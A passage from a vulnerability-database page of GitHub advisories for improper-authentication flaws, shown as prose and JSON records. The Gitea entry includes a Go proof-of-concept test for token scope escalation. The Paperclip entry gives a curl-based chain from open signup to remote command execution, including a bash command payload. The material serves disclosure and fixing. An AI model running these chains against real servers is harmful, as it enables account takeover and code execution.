Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6040 vulnerabilities reference this CWE, most recent first.

GHSA-683J-3FF6-HH2X

Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24

Summary

Gitea: Privilege Escalation via Access Token Scope Escalation in API

Details

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - `AuthedMethod` is set to `"basic"`, not `"access_token"`

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - `IsBasicAuth` is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

package integration

import (
    "net/http"
    "testing"

    auth_model "gitea.dev/models/auth"
    "gitea.dev/models/unittest"
    user_model "gitea.dev/models/user"
    api "gitea.dev/modules/structs"
    "gitea.dev/tests"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
)

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
    defer tests.PrepareTestEnv(t)()

    // Non-admin user — escalation is meaningful and not trivially justified.
    user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

    // Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
    // Only write:user scope is granted; repository, admin, etc. are excluded.
    restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
        []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
    defer deleteAPIAccessToken(t, restrictedToken, user)

    // Confirm the restricted token is blocked from repository-scoped endpoints.
    // This establishes the baseline: write:user does not imply read:repository.
    req := NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(restrictedToken.Token)
    MakeRequest(t, req, http.StatusForbidden)

    // Step 2 — Exploit: supply the restricted token as Basic auth credentials.
    // Authorization: Basic base64("<token>:x-oauth-basic")
    //
    // Basic.Verify() validates the token and returns the user. group.Verify() then
    // sets AuthedMethod="basic" (the method name). auth.go maps that to
    // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
    // password was provided. CreateAccessToken then creates the token with the
    // requested "all" scope without checking whether it exceeds the caller's scope.
    payload := map[string]any{
        "name":   "poc-escalated",
        "scopes": []string{"all"},
    }
    req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
    req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

    // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
    // but is currently 201, confirming the vulnerability.
    resp := MakeRequest(t, req, http.StatusCreated)

    escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
    require.NotNil(t, escalatedToken)
    defer deleteAPIAccessToken(t, *escalatedToken, user)

    // Step 3 — The escalated token carries the "all" scope.
    assert.Contains(t, escalatedToken.Scopes, "all",
        "escalated token scope must be 'all'; original token only had write:user")

    // Step 4 — The escalated token can now reach endpoints blocked to the original
    // token, confirming real privilege gain beyond write:user.
    req = NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(escalatedToken.Token)
    MakeRequest(t, req, http.StatusOK)
}

git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:24:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Gitea\u0027s API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic \u003ctoken\u003e:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling \u2014 it will create a new token with any requested scope regardless of the caller\u0027s scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n  \nWhen the attacker sends Authorization: Basic base64(\u003ctoken\u003e:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token\u0027s actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method\u0027s name \u2014 `\"basic\"` \u2014 regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n//     the Authorization: Basic \"\u003ctoken\u003e:x-oauth-basic\" format. The Basic auth\n//     handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n//     even though the credential is a token, not a password.\n//\n//  2. CreateAccessToken performs no scope-ceiling check \u2014 it never verifies that\n//     the requested scopes are a subset of the caller\u0027s token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user \u2014 escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t// Step 1 \u2014 Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 \u2014 Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"\u003ctoken\u003e:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller\u0027s scope.\n\tpayload := map[string]any{\n\t\t\"name\":   \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, \u0026api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 \u2014 The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be \u0027all\u0027; original token only had write:user\")\n\n\t// Step 4 \u2014 The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run \u0027^TestAPIPrivilegeEscalationViaBasicAuthToken$\u0027 ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.",
  "id": "GHSA-683j-3ff6-hh2x",
  "modified": "2026-07-21T20:24:26Z",
  "published": "2026-07-21T20:24:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Privilege Escalation via Access Token Scope Escalation in API"
}

GHSA-6857-WWFR-22GX

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31

Details

Vulnerability in the Oracle Transportation Management product of Oracle Supply Chain (component: Authentication). The supported version that is affected is 6.5.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Transportation Management. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Transportation Management accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-60434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:45Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Transportation Management product of Oracle Supply Chain (component: Authentication).   The supported version that is affected is 6.5.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Transportation Management.  Successful attacks of this vulnerability can result in  unauthorized read access to a subset of Oracle Transportation Management accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).",
  "id": "GHSA-6857-wwfr-22gx",
  "modified": "2026-07-22T00:31:41Z",
  "published": "2026-07-22T00:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60434"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68HV-QF49-HR4M

Vulnerability from github – Published: 2022-12-27 18:30 – Updated: 2023-01-05 06:30

Details

Some Dahua software products have a vulnerability of unauthenticated traceroute host from remote DSS Server. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could get the traceroute results.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-45433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-27T18:15:00Z",
    "severity": "LOW"
  },
  "details": "Some Dahua software products have a vulnerability of unauthenticated traceroute host from remote DSS Server. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could get the traceroute results.",
  "id": "GHSA-68hv-qf49-hr4m",
  "modified": "2023-01-05T06:30:23Z",
  "published": "2022-12-27T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45433"
    },
    {
      "type": "WEB",
      "url": "https://www.dahuasecurity.com/support/cybersecurity/details/1137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68HW-VFH7-XVG8

Vulnerability from github – Published: 2019-06-13 20:38 – Updated: 2021-08-16 15:25

Summary

Forced Logout in keycloak-connect

Details

Versions of keycloak-connect prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the /k_logout route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.

Recommendation

Upgrade to version 4.4.0 or later.

Severity

5.5 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "keycloak-connect"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-13T20:28:41Z",
    "nvd_published_at": "2019-06-12T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Versions of `keycloak-connect` prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the `/k_logout` route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.\n\n\n## Recommendation\n\nUpgrade to version 4.4.0 or later.",
  "id": "GHSA-68hw-vfh7-xvg8",
  "modified": "2021-08-16T15:25:07Z",
  "published": "2019-06-13T20:38:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10157"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak-nodejs-connect/commit/55e54b55d05ba636bc125a8f3d39f0052d13f8f6"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10157"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-KEYCLOAKNODEJSCONNECT-449920"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/978"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108734"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forced Logout in keycloak-connect"
}

GHSA-68M9-5QC5-G75W

Vulnerability from github – Published: 2023-11-05 00:33 – Updated: 2023-11-14 18:30

Details

An issue in Beijing Yunfan Internet Technology Co., Ltd, Yunfan Learning Examination System v.6.5 allows a remote attacker to obtain sensitive information via the password parameter in the login function.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-46963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-04T23:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Beijing Yunfan Internet Technology Co., Ltd, Yunfan Learning Examination System v.6.5 allows a remote attacker to obtain sensitive information via the password parameter in the login function.",
  "id": "GHSA-68m9-5qc5-g75w",
  "modified": "2023-11-14T18:30:21Z",
  "published": "2023-11-05T00:33:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46963"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NBSLclass/glassfish/blob/main/Proof-of-vulnerability.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68QG-G8MG-6PR7

Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-27 16:19

Summary

paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass

Details

Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

Step 1: Create an account (no invite, no email verification)

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email

Returns a valid account immediately. No invite token required, no email verification.

This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:

const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open

And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:

emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

Step 2: Sign in

curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email

Capture the session cookie from the Set-Cookie header.

Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges

The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.

Now approve it with our own session:

curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve

The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);

The boardApiToken from step 3 is now a persistent API key tied to our account.

Step 4: Create a company and deploy an agent via import (authorization bypass)

This is the critical flaw. The direct company creation endpoint correctly requires instance admin:

server/src/routes/companies.ts:260-264:

router.post("/", validate(createCompanySchema), async (req, res) => {
  assertBoard(req);
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
});

But the import endpoint does not:

server/src/routes/companies.ts:170-176:

router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
  assertBoard(req);                                     // only checks board type
  if (req.body.target.mode === "existing_company") {
    assertCompanyAccess(req, req.body.target.companyId);  // only for existing
  }
  // NO assertInstanceAdmin for "new_company" mode
  const result = await portability.importBundle(req.body, ...);
});

assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.

The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import

Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.

Step 5: Trigger the agent

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup

The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.

Proof of Concept

I have a self-contained bash script that runs the full chain automatically:

./poc_exploit.sh http://<target>:3100

It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.

Impact

An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:

Full filesystem access (read/write as the server user)
Access to all data in the Paperclip database
Ability to pivot to internal network services
Ability to disrupt all agent operations

The attack is fully automated, requires no user interaction, and works against the default deployment configuration.

Suggested Fixes

Critical: Unauthorized board access (the root cause)

The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:

Read adapter configurations and internal API structure
Approve/reject/request-revision on any company's approvals (these endpoints only check assertBoard, not assertCompanyAccess)
Cancel any company's agent runs (same missing check)
Read issue data from any heartbeat run (zero auth on GET /api/heartbeat-runs/:runId/issues)
Create unlimited accounts for resource exhaustion
Wait for the next authorization bug to appear

These need to be fixed together:

Disable open registration by default -- server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.
Prevent CLI auth self-approval -- server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.
Require email verification -- server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.

Critical: Import authorization bypass (the RCE path)

Add assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:

assertBoard(req);
if (req.body.target.mode === "new_company") {
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
} else {
  assertCompanyAccess(req, req.body.target.companyId);
}

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "paperclipai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
